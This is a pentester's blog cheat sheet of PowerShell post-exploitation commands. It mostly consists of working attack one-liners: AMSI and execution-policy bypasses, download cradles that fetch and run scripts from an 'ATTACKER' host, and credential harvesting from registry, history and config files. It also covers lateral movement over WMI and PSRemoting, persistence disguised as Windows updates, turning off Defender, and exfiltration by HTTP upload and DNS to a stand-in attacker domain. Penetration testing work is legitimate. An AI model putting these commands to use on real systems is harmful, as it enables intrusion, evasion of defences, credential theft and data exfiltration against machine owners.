← Back to writing
Tools & Cheatsheets

PowerShell for Pentesters

Feb 15, 2025
4 min read
lawbyte

PowerShell is the native offensive language on Windows. Deep OS integration, .NET access, and living-off-the-land capability make it indispensable for post-exploitation.

Execution Policy Bypass

# Bypass in current session
Set-ExecutionPolicy Bypass -Scope Process -Force

# One-liner (from cmd)
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -c "IEX ..."

# Encode command to avoid issues
$cmd = 'Get-Process'
$b64 = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
powershell -enc $b64

# Policy check
Get-ExecutionPolicy -List

AMSI Bypass

AMSI (Antimalware Scan Interface) intercepts script content before execution:

# Classic patch (may be detected)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Alternative — null AmsiScanBuffer
$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiSession','NonPublic,Static')
$b.SetValue($null,$null)

# Using obfuscation
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ...

# Patching via reflection (base64)
# Many bypass scripts at: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

Download Cradles

# IEX from URL (most common)
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/script.ps1')

# Invoke-Expression alias
iex (iwr 'http://ATTACKER/script.ps1' -UseBasicParsing).Content

# Bypass TLS cert errors
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
IEX (New-Object Net.WebClient).DownloadString('https://ATTACKER/script.ps1')

# Download and save
(New-Object Net.WebClient).DownloadFile('http://ATTACKER/tool.exe', 'C:\temp\tool.exe')
Invoke-WebRequest -Uri 'http://ATTACKER/tool.exe' -OutFile 'C:\temp\tool.exe'

# BITS transfer (blends with legitimate traffic)
Start-BitsTransfer -Source 'http://ATTACKER/file.exe' -Destination 'C:\temp\file.exe'

# From SMB share
\\ATTACKER_IP\share\tool.exe

# certutil download (cmd)
certutil -urlcache -split -f http://ATTACKER/tool.exe C:\temp\tool.exe

System Enumeration

# System info
$env:COMPUTERNAME
$env:USERNAME
$env:USERDOMAIN
[System.Environment]::OSVersion
Get-WmiObject Win32_OperatingSystem | Select-Object Caption,Version,BuildNumber
Get-WmiObject Win32_ComputerSystem | Select-Object Domain,Workgroup,PartOfDomain

# Local users and groups
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators

# Network
ipconfig /all
Get-NetIPAddress
Get-NetRoute
Get-NetNeighbor # ARP table
netstat -ano
Get-NetTCPConnection | Where-Object State -eq Established

# Processes
Get-Process
Get-Process | Sort-Object CPU -Descending | Select-Object -First 20
Get-WmiObject Win32_Process | Select-Object Name,ProcessId,ParentProcessId,CommandLine

# Services
Get-Service | Where-Object Status -eq Running
Get-WmiObject Win32_Service | Select-Object Name,State,PathName,StartName

# Installed software
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |
Select-Object DisplayName,DisplayVersion,Publisher

# Scheduled tasks
Get-ScheduledTask | Where-Object State -ne Disabled | Select-Object TaskName,TaskPath
schtasks /query /fo LIST /v

# Firewall
Get-NetFirewallRule | Where-Object Enabled -eq True | Select-Object DisplayName,Direction,Action
netsh advfirewall show currentprofile

# Hotfixes / patches
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20

Active Directory Enumeration (Native)

# Domain info (no tools needed)
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
(Get-ADDomain).DNSRoot
nltest /dclist:(Get-ADDomain).Name

# Users
net user /domain
Get-ADUser -Filter * -Properties * | Select-Object SamAccountName,Enabled,PasswordLastSet,Description

# Groups
Get-ADGroup -Filter * | Select-Object Name,GroupScope,GroupCategory
Get-ADGroupMember "Domain Admins" | Select-Object SamAccountName

# Computers
Get-ADComputer -Filter * -Properties OperatingSystem | Select-Object Name,OperatingSystem,LastLogonDate

# SPNs (Kerberoast candidates)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
Select-Object SamAccountName,ServicePrincipalName

# AS-REP roastable
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
Select-Object SamAccountName

# Password policy
Get-ADDefaultDomainPasswordPolicy

# Trust relationships
Get-ADTrust -Filter * | Select-Object Name,TrustType,Direction

PowerView (PowerSploit)

# Import
Import-Module .\PowerView.ps1
# or
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# Domain enumeration
Get-Domain
Get-DomainController
Get-DomainPolicy
(Get-DomainPolicy)."system access" # password policy

# Users
Get-DomainUser | Select-Object samaccountname,description,pwdlastset
Get-DomainUser -SPN # Kerberoastable
Get-DomainUser -PreauthNotRequired # AS-REP roastable

# Groups and members
Get-DomainGroup "Domain Admins"
Get-DomainGroupMember "Domain Admins" -Recurse
Get-DomainGroup -AdminCount # protected groups

# Computers
Get-DomainComputer -Properties Name,OperatingSystem,LastLogonDate
Get-DomainComputer -Unconstrained # unconstrained delegation

# Shares
Find-DomainShare -CheckShareAccess # accessible shares
Find-InterestingDomainShareFile # interesting files in shares

# ACLs
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs
Find-InterestingDomainAcl # non-default ACLs

# Local admin
Find-LocalAdminAccess # where current user is local admin
Get-NetLocalGroupMember -ComputerName target # local admins on host

# Sessions
Get-NetSession -ComputerName DC # active sessions on DC
Find-DomainUserLocation -UserGroupIdentity "Domain Admins" # find DA sessions

Credential Access

# Read credentials from Credential Manager
cmdkey /list
[System.Net.CredentialCache]::DefaultNetworkCredentials

# DPAPI — decrypt user credentials
# Mimikatz: dpapi::cred /in:C:\Users\...\AppData\Roaming\Microsoft\Credentials\...

# Unattend.xml locations (plaintext creds)
Get-ChildItem C:\unattend.xml,C:\sysprep.inf,C:\sysprep\sysprep.xml -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Include *unattend*,*sysprep* -Recurse -ErrorAction SilentlyContinue

# Web.config (IIS apps)
Get-ChildItem -Path C:\inetpub -Include web.config -Recurse | Get-Content

# PowerShell history
Get-Content (Get-PSReadlineOption).HistorySavePath
Get-Content C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# Registry for stored credentials
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
reg query HKLM /f password /t REG_SZ /s

# Search files for passwords
findstr /si password *.txt *.ini *.xml *.config
Get-ChildItem -Recurse -Include *.txt,*.ini,*.xml | Select-String -Pattern "password"

Lateral Movement

# WMI execution (built-in, no tools)
Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName target -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -Credential $cred

# WMI one-liner with creds
$cred = Get-Credential
Invoke-WmiMethod Win32_Process -Name Create -ComputerName TARGETIP -ArgumentList "notepad.exe" -Credential $cred

# PSRemoting (if WinRM enabled)
$sess = New-PSSession -ComputerName target -Credential $cred
Invoke-Command -Session $sess -ScriptBlock { whoami }
Enter-PSSession -ComputerName target -Credential $cred

# Invoke-Command one-liner
Invoke-Command -ComputerName target -Credential $cred -ScriptBlock { Get-Process }

# Copy file to remote via PSSession
Copy-Item -Path C:\local\file.exe -Destination C:\remote\ -ToSession $sess

Persistence

# Registry Run key
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run `
-Name "Update" -Value "powershell -WindowStyle Hidden -enc BASE64_PAYLOAD"

# Scheduled task
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-enc BASE64"
$trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -RunLevel Highest

# Startup folder
$payload = 'powershell -enc BASE64'
Set-Content "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.bat" $payload

# WMI subscription (fileless persistence)
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{
Name = "PersistFilter"
EventNamespace = "root/cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 12"
}

Data Collection & Exfil

# Screenshot
Add-Type -AssemblyName System.Windows.Forms
$bmp = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,
[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
$g = [System.Drawing.Graphics]::FromImage($bmp)
$g.CopyFromScreen(0,0,0,0,$bmp.Size)
$bmp.Save("C:\temp\screen.png")

# Keylogger hook (basic)
# Use dedicated tools: Get-Keystrokes from PowerSploit

# Zip and exfil
Compress-Archive -Path C:\sensitive\ -DestinationPath C:\temp\data.zip
(New-Object Net.WebClient).UploadFile('http://ATTACKER/upload', 'C:\temp\data.zip')

# DNS exfil
$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("secret data"))
Resolve-DnsName "$data.attacker.com"

Useful One-liners

# Check if current user is admin
([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

# Get current user's token privileges
whoami /priv

# Check AppLocker
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Disable Windows Defender (requires admin)
Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\temp"

# List AppLocker bypass directories (writable, executable)
# C:\Windows\Tasks, C:\Windows\Temp, C:\Windows\tracing, C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys

# Get product key
(Get-WmiObject SoftwareLicensingService).OA3xOriginalProductKey

# Test network connectivity
Test-NetConnection -ComputerName DC_IP -Port 445
Test-NetConnection -ComputerName 8.8.8.8 -Port 53

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.